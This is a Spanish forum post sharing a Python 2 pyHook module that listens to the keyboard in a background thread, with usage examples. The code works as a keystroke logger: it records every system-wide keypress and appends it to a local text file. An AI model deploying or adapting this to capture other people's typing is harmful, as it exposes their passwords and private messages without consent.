Underc0de

Programación Scripting => Python => Mensaje iniciado por: $francisco en Abril 01, 2016, 11:05:48 AM

Título: [bindKeyboard] Escuchar teclado en un nuevo hilo
Publicado por: $francisco en Abril 01, 2016, 11:05:48 AM
Buenas a todos de nuevo, hoy quiero compartir un script que hice viendo que por internet algunos piden como ejecutar la escucha del teclado con pyHook en un nuevo hilo, pues hice un módulo que creo que ayudará bastante a la hora de poder hacerlo.

bindKeyboard.py
Código (python) [Seleccionar]
#By: HackLoper
#twiter: https://twitter.com/HackLoper
#canal-youtube: hackdeveloper
#facebook: hackloper
#site: http://hackloper.blogspot.com.es/2016/03/capturar-teclado-en-nuevo.html

import pyHook,pythoncom
from threadComm import Thread
from os import SEEK_END as END

class bindKeyboard(Thread):
    def __init__(self,work=True,write=False,name_file='text.txt'):
        self.wk=work;self.wr=write;self.nf=name_file
        Thread.__init__(self)

    def work(self,event):
        print 'Ascii:', unichr(event.Ascii)

    def run(self):
        h = keyboard(self.wk,self.wr,self.nf)
        h.work = self.work
        h.bindMessages()

class keyboard(pyHook.HookManager):
    def __init__(self,work=True,write=False,name_file=None):
        self._work = work
        self._write = write
        self._name_file = name_file
        pyHook.HookManager.__init__(self)
        self.HookKeyboard()
        self.KeyDown = self.__keyDown

    def __write_in_file(self,data,key):
        f = open(self._name_file,"a")
        if key == 'Back':
            f.seek(-1,END)
            f.truncate()
        elif key == 'Return':
            f.write('\n')
        elif key == 'Space':
            f.write(' ')
        else:
            f.write(data.encode('utf-8'))
        f.close()

    def __keyDown(self,event):
        if self._work == True: self.work(event)
        if self._write == True: self.__write_in_file(unichr(event.Ascii),event.Key)
        return 1

    def bindMessages(self):
        pythoncom.PumpMessages()


Método de uso simple:

Código (python) [Seleccionar]
from bindKeyboard import  bindKeyboard
import time

keyboard = bindKeyboard(work=True,write=True,name_file="teclas.txt")
keyboard.start()
time.sleep(10)


Método de uso con herencia:

Código (python) [Seleccionar]
from bindKeyboard import  bindKeyboard
import time

class keyboard(bindKeyboard):
    def __init__(self,work=True,write=False,name_file="teclas.txt"):
        bindKeyboard.__init__(self,work,write,name_file)
    def work(self,event):
        print unichr(event.Ascii)

mykeyboard = keyboard()
mykeyboard.start()
time.sleep(10)


Para mi recomendación con herencia se hace mas fácil ya que podremos trabajar dentro de la clase con fas facilidad creando nuestros atriburos y métodos necesarios.